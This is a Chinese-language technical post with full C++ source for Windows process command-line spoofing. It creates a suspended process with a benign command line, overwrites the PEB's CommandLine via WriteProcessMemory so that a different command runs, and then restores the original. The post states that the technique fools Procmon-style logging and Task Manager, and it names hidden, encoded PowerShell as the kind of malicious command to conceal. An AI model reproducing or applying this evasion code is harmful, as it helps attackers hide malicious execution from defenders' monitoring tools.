创建进程时,进程的command line保存在,进程环境块PEB的某个结构中。(PEB->_RTL_USER_PROCESS_PARAMETERS->CommandLine)
通过修改这个数据,可以达到隐藏command line的效果,并执行恶意的command line。(例如powershell.exe -w hidden -e IEX xxxx)
具体步骤如下:
0)在创建进程时,带上一个正常的command line,挂起该进程。
1)获取该进程的PEB信息,通过W/RPM函数,读取并修改该进程的command line
2)ResumeThread恢复进程执行
3)Sleep(500)毫秒,通过W/RPM函数,再修改回原来的command line
为什么要再修改回去呢?测试时,直接修改完PEB中保存的command line,是可以的。这种方式可以欺骗Procmon,等日志记录类的监控工具。
但是欺骗不了任务管理器,procexp等自动刷新进程列表的工具,换句话说,修改成恶意命令行以后,打开任务管理器,它会重新从每个进程的PEB中读取最新的command line,并展示出来。
这样的话,再恢复进程执行恶意command line后,再把PEB中修改成原来的command line,就可以做到,每次任务管理器看到的都是最后一次修改过的command line。
下图demo演示:创建cmd进程时执行的command_line 是 /c ping www.baidu.com
但其真实执行的是参数是/c calc.exe
#include "stdafx.h"
#include <windows.h>
#include <winternl.h>
int main()
{
typedef NTSTATUS(WINAPI *_NtQueryInformationProcess)(
_In_ HANDLE ProcessHandle,
_In_ PROCESSINFOCLASS ProcessInformationClass,
_Out_ PVOID ProcessInformation,
_In_ ULONG ProcessInformationLength,
_Out_opt_ PULONG ReturnLength
);
STARTUPINFOA si = { sizeof(STARTUPINFOA) };
PROCESS_INFORMATION pi = {};
CreateProcessA("c:\\windows\\system32\\cmd.exe", "/c ping www.baidu.com", NULL, NULL, NULL, CREATE_NEW_CONSOLE | CREATE_SUSPENDED, NULL, NULL, &si, &pi);
USHORT usCmdLen = 0;
USHORT usPathLen = 0;
_NtQueryInformationProcess NtQueryInformationProcess = (_NtQueryInformationProcess)::GetProcAddress(
LoadLibraryA("ntdll.dll"), "NtQueryInformationProcess");
PROCESS_BASIC_INFORMATION pbi = { 0 };
NTSTATUS status = NtQueryInformationProcess(pi.hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), NULL);
PEB peb = { 0 };
ReadProcessMemory(pi.hProcess, pbi.PebBaseAddress, &peb, sizeof(peb), NULL);
RTL_USER_PROCESS_PARAMETERS Param = { 0 };
ReadProcessMemory(pi.hProcess, peb.ProcessParameters, &Param, sizeof(Param), NULL);
CHAR szString[0x200] = {};
ReadProcessMemory(pi.hProcess, Param.CommandLine.Buffer, szString, Param.CommandLine.Length, NULL);
printf("按任意键改写命令行参数...\n");
_gettch();
WCHAR *szStringWrite=L"/c calc.exe";
WriteProcessMemory(pi.hProcess, Param.CommandLine.Buffer, szStringWrite, (wcslen(szStringWrite) + 1) * 2, NULL);
ResumeThread(pi.hThread);
printf("按任意键恢复命令行参数...\n");
_gettch();
// 下面两行注释掉会写失败
ReadProcessMemory(pi.hProcess, pbi.PebBaseAddress, &peb, sizeof(peb), NULL);
ReadProcessMemory(pi.hProcess, peb.ProcessParameters, &Param, sizeof(Param), NULL);
WCHAR *szStringReWrite = L"/c ping www.baidu.com";
WriteProcessMemory(pi.hProcess, Param.CommandLine.Buffer, szStringReWrite, (wcslen(szStringReWrite) + 1) * 2, NULL);
_gettch();
return 0;
}